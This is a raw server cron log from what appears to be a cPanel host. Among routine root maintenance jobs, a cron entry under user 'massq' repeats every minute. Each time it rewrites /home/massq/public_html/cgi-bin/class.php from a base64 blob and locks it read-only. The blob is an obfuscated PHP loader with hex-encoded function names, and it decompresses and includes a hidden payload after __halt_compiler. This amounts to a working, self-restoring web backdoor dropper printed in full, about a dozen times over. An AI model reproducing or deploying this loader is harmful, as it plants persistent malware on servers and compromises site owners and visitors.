Sep 13 03:04:01 server CROND[12004]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:04:01 server CROND[12005]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:05:01 server CROND[12440]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 03:05:01 server CROND[12441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:05:01 server CROND[12443]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 03:05:01 server CROND[12446]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 03:05:01 server CROND[12447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:05:01 server CROND[12448]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:05:01 server CROND[12449]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 13 03:05:01 server CROND[12450]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 03:06:01 server CROND[13333]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:06:01 server CROND[13334]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:06:01 server CROND[13335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:07:01 server CROND[13732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:07:01 server CROND[13733]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:07:01 server CROND[13734]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:08:01 server CROND[14241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:08:01 server CROND[14242]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:08:01 server CROND[14250]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:09:02 server CROND[14630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:09:02 server CROND[14631]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 13 03:09:02 server CROND[14632]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:09:02 server CROND[14633]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:10:01 server CROND[15019]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 03:10:01 server CROND[15021]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 03:10:01 server CROND[15024]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:10:01 server CROND[15025]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 03:10:01 server CROND[15026]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 03:10:01 server CROND[15023]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 03:10:01 server CROND[15027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:10:01 server CROND[15022]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:11:01 server CROND[15856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:11:01 server CROND[15857]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:11:01 server CROND[15858]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:12:01 server CROND[16241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:12:01 server CROND[16242]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 13 03:12:01 server CROND[16243]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:12:01 server CROND[16244]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:13:01 server CROND[16719]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:13:01 server CROND[16721]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:13:01 server CROND[16720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:14:01 server CROND[17099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:14:01 server CROND[17100]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:14:01 server CROND[17101]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:15:01 server CROND[17496]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 03:15:01 server CROND[17500]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 03:15:01 server CROND[17507]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 03:15:01 server CROND[17510]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:15:01 server CROND[17511]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 13 03:15:01 server CROND[17509]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 03:15:01 server CROND[17512]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
